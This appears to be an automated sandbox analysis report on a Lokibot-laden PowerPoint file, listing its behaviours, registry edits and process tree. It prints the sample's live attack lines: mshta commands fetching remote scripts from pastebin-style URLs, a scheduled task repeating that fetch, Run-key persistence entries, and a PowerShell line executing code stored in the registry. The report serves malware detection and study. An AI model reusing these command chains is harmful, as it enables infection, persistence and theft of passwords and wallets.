lokibot | 20b52843f8e11a925f7008ffe96848e846099130c0c23bd80b3f3c6ee726e234

Analysis

max time kernel
139s
max time network
145s
platform
windows7_x64
resource
win7v200722
submitted
18-08-2020 09:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RAT.ppt
Size

87KB
MD5

996d8c68ecfe98a2ce25c177927a90e0
SHA1

538d30afcc2d003f95c5f82714134957c8957159
SHA256

20b52843f8e11a925f7008ffe96848e846099130c0c23bd80b3f3c6ee726e234
SHA512

b9f2f992227632b86bcf2aad781738c2be173610bd41359fc581a89c7e4b44cac714385d28f7c967be2a31e8a3c33132aa6d5ced071d41c47aaa1f6c415cff1e

Score

10^/10

lokibot persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/aKjCtLDg

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/1448-34-0x0000000002750000-0x0000000002757000-memory.dmp	disable_win_def

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	268	108	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1492	1680	powershell.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1448	1680	powershell.exe

Blocklisted process makes network request 9 IoCs

Processes:

mshta.exemshta.exemshta.exepowershell.exepowershell.exe

flow	pid	process
5	268	mshta.exe
7	268	mshta.exe
9	268	mshta.exe
11	268	mshta.exe
14	1964	mshta.exe
15	2032	mshta.exe
16	1448	powershell.exe
21	1492	powershell.exe
23	1492	powershell.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\sgnittes = "\"mshta\"\"https://%50%50%50%50%50%50%50%[email protected]\\raw\\A1scmntK\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"https://%50%50%50%50%50%50%50%[email protected]\\raw\\MceaAVSv\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\warfed = "\"mshta\"\"https://%50%50%50%50%50%50%50%[email protected]\\raw\\CkLFEYsw\""	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\koaskd = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).Fucku)\|IEX\"\", 0 : window.close\")"	mshta.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1184 schtasks.exe

pid	process
1184	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exemshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ = "ThreeDFormat"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934D6-5A91-11CF-8700-00AA0060263B}\ = "Designs"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A62-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\ = "ActionSetting"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Interior"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A74-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A75-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E55A-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149346F-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493486-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\ = "RulerLevels"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149349D-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A65-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493487-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149348D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A60-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A7C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\ = "NamedSlideShow"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934E9-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A50-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493483-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\ = "Research"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934EB-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A71-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493495-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493461-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{914934CF-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A56-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493466-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E554-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BA72E557-4FF5-48F4-8215-5505F990966F}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

108 POWERPNT.EXE

pid	process
108	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1492	powershell.exe
1448	powershell.exe
1492	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeIncreaseQuotaPrivilege	1492	powershell.exe
Token: SeSecurityPrivilege	1492	powershell.exe
Token: SeTakeOwnershipPrivilege	1492	powershell.exe
Token: SeLoadDriverPrivilege	1492	powershell.exe
Token: SeSystemProfilePrivilege	1492	powershell.exe
Token: SeSystemtimePrivilege	1492	powershell.exe
Token: SeProfSingleProcessPrivilege	1492	powershell.exe
Token: SeIncBasePriorityPrivilege	1492	powershell.exe
Token: SeCreatePagefilePrivilege	1492	powershell.exe
Token: SeBackupPrivilege	1492	powershell.exe
Token: SeRestorePrivilege	1492	powershell.exe
Token: SeShutdownPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeSystemEnvironmentPrivilege	1492	powershell.exe
Token: SeRemoteShutdownPrivilege	1492	powershell.exe
Token: SeUndockPrivilege	1492	powershell.exe
Token: SeManageVolumePrivilege	1492	powershell.exe
Token: 33	1492	powershell.exe
Token: 34	1492	powershell.exe
Token: 35	1492	powershell.exe
Token: SeIncreaseQuotaPrivilege	1492	powershell.exe
Token: SeSecurityPrivilege	1492	powershell.exe
Token: SeTakeOwnershipPrivilege	1492	powershell.exe
Token: SeLoadDriverPrivilege	1492	powershell.exe
Token: SeSystemProfilePrivilege	1492	powershell.exe
Token: SeSystemtimePrivilege	1492	powershell.exe
Token: SeProfSingleProcessPrivilege	1492	powershell.exe
Token: SeIncBasePriorityPrivilege	1492	powershell.exe
Token: SeCreatePagefilePrivilege	1492	powershell.exe
Token: SeBackupPrivilege	1492	powershell.exe
Token: SeRestorePrivilege	1492	powershell.exe
Token: SeShutdownPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeSystemEnvironmentPrivilege	1492	powershell.exe
Token: SeRemoteShutdownPrivilege	1492	powershell.exe
Token: SeUndockPrivilege	1492	powershell.exe
Token: SeManageVolumePrivilege	1492	powershell.exe
Token: 33	1492	powershell.exe
Token: 34	1492	powershell.exe
Token: 35	1492	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

powershell.exe

pid process

1448 powershell.exe
1448 powershell.exe

pid	process
1448	powershell.exe
1448	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 108 wrote to memory of 268	108	POWERPNT.EXE	mshta.exe
PID 108 wrote to memory of 268	108	POWERPNT.EXE	mshta.exe
PID 108 wrote to memory of 268	108	POWERPNT.EXE	mshta.exe
PID 268 wrote to memory of 1964	268	mshta.exe	mshta.exe
PID 268 wrote to memory of 1964	268	mshta.exe	mshta.exe
PID 268 wrote to memory of 1964	268	mshta.exe	mshta.exe
PID 268 wrote to memory of 1184	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 1184	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 1184	268	mshta.exe	schtasks.exe
PID 268 wrote to memory of 2032	268	mshta.exe	mshta.exe
PID 268 wrote to memory of 2032	268	mshta.exe	mshta.exe
PID 268 wrote to memory of 2032	268	mshta.exe	mshta.exe
PID 1448 wrote to memory of 324	1448	powershell.exe	cmstp.exe
PID 1448 wrote to memory of 324	1448	powershell.exe	cmstp.exe
PID 1448 wrote to memory of 324	1448	powershell.exe	cmstp.exe

C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\RAT.ppt"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:108
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://%909123id%909123id%909123id%909123id%[email protected]\kkkasriiiiii2rkoodd
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Modifies Internet Explorer settings
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\System32\mshta.exe
    mshta https://%50%50%50%50%50%50%50%[email protected]\raw\1Kps24Kt
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Modifies Internet Explorer settings
    PID:1964
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 70 /tn "xestuohtiwfyl" /F /tr "\"mshta\"https://%20%[email protected]\raw\1Kps24Kt
    3⤵
    - Creates scheduled task(s)
    PID:1184
- - C:\Windows\System32\mshta.exe
    mshta https://%50%50%50%50%50%50%50%[email protected]\raw\CkLFEYsw
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell ((gp HKCU:\Software).Fucku)|IEX
1⤵
- Process spawned unexpected child process
